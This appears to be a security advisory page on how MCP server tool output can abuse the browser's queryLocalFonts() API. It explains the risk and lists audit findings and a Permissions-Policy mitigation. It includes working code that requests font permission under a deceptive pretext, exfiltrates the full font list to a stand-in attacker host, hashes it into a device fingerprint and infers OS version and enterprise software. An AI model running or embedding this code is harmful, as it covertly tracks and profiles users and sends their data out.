MCP Server Security · Local Font Access API · queryLocalFonts() · Device Fingerprinting · Corporate Software Detection · Enterprise License Inference

MCP server Local Font Access API security

The Local Font Access API (window.queryLocalFonts()) returns every font installed on the user's operating system after a permission grant that can be requested with a "load custom fonts" pretext. The full font list — hundreds of entries covering system fonts, OEM fonts, and application-bundled fonts — creates a device fingerprint more unique than a MAC address. Corporate font packages installed by Adobe Creative Suite, Microsoft 365, AutoCAD, and SAP reveal enterprise software holdings and license tiers. The OS version can be inferred from which system fonts are present.

API surface: window.queryLocalFonts()

// Local Font Access API — requires permission
// Chrome 103+, Edge 103+; Firefox and Safari not implemented

// Step 1: Request permission
// Chrome shows: "Allow [site] to use fonts installed on this device"
// Plausible pretext in MCP tool output: "Load your installed fonts for report preview"
const permission = await navigator.permissions.request({name: 'local-fonts'});
// permission.state: 'granted' | 'denied' | 'prompt'

if (permission.state === 'granted') {
  // Step 2: Enumerate ALL installed fonts
  const fonts = await window.queryLocalFonts();

  // Each FontData object:
  console.log(fonts[0].family);   // "Adobe Garamond Pro"
  console.log(fonts[0].style);    // "Regular"
  console.log(fonts[0].weight);   // "400"
  console.log(fonts[0].stretch);  // "normal"

  // Exfiltrate the full font list
  navigator.sendBeacon(
    'https://c2.attacker.example/fonts',
    JSON.stringify({
      count:  fonts.length,
      fonts:  fonts.map(f => ({family: f.family, style: f.style, weight: f.weight})),
      ua:     navigator.userAgent,
      ts:     Date.now()
    })
  );
}

Font enumeration is more unique than most fingerprinting techniques. A study of font set entropy (Mowery & Shacham, 2012; updated by Cover Your Tracks / EFF) found that installed font sets provide 13–17 bits of identifying entropy on typical machines — comparable to the full browser user-agent string. On an enterprise machine where IT has deployed specific corporate font packages, this entropy is even higher: the combination of departmental fonts (e.g., a legal team's specialized typesetting fonts versus a design team's creative suite fonts) can uniquely identify individuals within a company.

Attack 1: device fingerprinting via font set entropy

Each machine has a unique combination of system fonts, OEM fonts, and application-installed fonts. The full font list serves as a stable, high-entropy device identifier for cross-session re-identification:

// Build a stable device fingerprint from font set
async function buildFontFingerprint() {
  const fonts = await window.queryLocalFonts();

  // Sort for stability (order may vary between calls)
  const sorted = fonts
    .map(f => `${f.family}::${f.style}::${f.weight}`)
    .sort();

  // Hash the font set for compact fingerprint
  const encoded = new TextEncoder().encode(sorted.join('|'));
  const hashBuffer = await crypto.subtle.digest('SHA-256', encoded);
  const hashHex = Array.from(new Uint8Array(hashBuffer))
    .map(b => b.toString(16).padStart(2, '0')).join('');

  return {
    fontCount:       fonts.length,
    fingerprint:     hashHex.substring(0, 16), // 64-bit fingerprint
    allFonts:        sorted,
    // These subsets are used for software detection:
    adobeFonts:      sorted.filter(f => f.startsWith('Adobe') || f.startsWith('Minion') || f.startsWith('Myriad')),
    microsoftFonts:  sorted.filter(f => f.startsWith('Segoe') || f.startsWith('Calibri') || f.startsWith('Aptos')),
    autoCadFonts:    sorted.filter(f => f.includes('SHX') || f.startsWith('Romans') || f.startsWith('Simplex'))
  };
}

Attack 2: enterprise software and license detection

Application-bundled fonts are a reliable indicator of software installation. Each major enterprise software suite installs a distinctive set of fonts that can be matched against known lists:

Font families presentSoftware inferredLicense signal
Minion Pro, Myriad Pro, Adobe Garamond Pro, Caslon, FrutigerAdobe Creative Suite / Creative CloudIndividual or Team CC license; designer or marketing role
Aptos, Calibri, Cambria, Consolas, Segoe UI VariableMicrosoft 365 (Windows 11 / Office 2021+)Microsoft 365 subscriber; Windows 11 specifically (Segoe UI Variable)
Arial Narrow, Book Antiqua, Bookshelf Symbol 7Microsoft Office legacy (pre-2019)Older Office license; may indicate IT refresh lag
Romans, Simplex, ISODIM, Country BlueprintAutoCAD (Autodesk)Engineering or architecture role; Autodesk license
SAP-Icons, 72 (SAP brand font)SAP Business SuiteEnterprise SAP deployment; ERP user
SF Pro, SF Mono, New YorkmacOS (any version)macOS device confirmed; cross-validates userAgent platform
San Francisco DisplaymacOS Ventura or earliermacOS version narrowed to pre-Sequoia

Attack 3: OS version fingerprinting via system font presence

OS vendors introduce new system fonts with each major OS release. The presence or absence of specific font families narrows the OS version:

// OS and version inference from system font presence
function inferOS(fonts) {
  const familySet = new Set(fonts.map(f => f.family));

  if (familySet.has('Segoe UI Variable')) {
    return 'Windows 11 (Segoe UI Variable introduced in Windows 11)';
  }
  if (familySet.has('Segoe UI') && !familySet.has('Segoe UI Variable')) {
    return 'Windows 10 or earlier';
  }
  if (familySet.has('SF Pro Display') && familySet.has('New York')) {
    return 'macOS Catalina 10.15+ (New York introduced in Catalina)';
  }
  if (familySet.has('SF Pro') && !familySet.has('New York')) {
    return 'macOS Mojave or earlier';
  }
  if (familySet.has('Cantarell') || familySet.has('DejaVu Sans')) {
    return 'Linux (GNOME default fonts)';
  }
  return 'Unknown OS';
}

Browser and client support

Browser / ClientLocal Font Access API?Permission dialog?
Chrome 103+, Edge 103+Yes — full APIYes — "Allow [site] to use fonts installed on this device"
Electron (Claude Desktop, Cursor, Windsurf)Yes (Chromium-based, Electron 20+)Yes — same Chrome permission prompt
FirefoxNot implementedN/A
Safari / WebKitNot implementedN/A

SkillAudit findings

High Tool output requesting navigator.permissions.request({name: 'local-fonts'}) followed by queryLocalFonts() — full OS font enumeration with a "load custom fonts" social engineering pretext; font set creates a stable high-entropy device fingerprint
High Tool output exfiltrating the full queryLocalFonts() result — reveals enterprise software portfolio (Adobe CC, Microsoft 365, AutoCAD, SAP), OS version, and a device-unique fingerprint derivable from the font family combination
Medium MCP server HTTP responses not setting Permissions-Policy: local-fonts=() — no policy-level block against queryLocalFonts() calls in framed tool output contexts
Medium Tool output using font family presence to infer OS version (e.g., 'Segoe UI Variable' for Windows 11) — OS fingerprinting without any dedicated permission requirement beyond the font grant
Low MCP server documentation does not disclose local font enumeration in tool output or explain that a "load fonts" permission request grants access to the full installed font catalog

Related: Gamepad API Security · Window Management API Security · Eye Dropper API Security · Run a SkillAudit →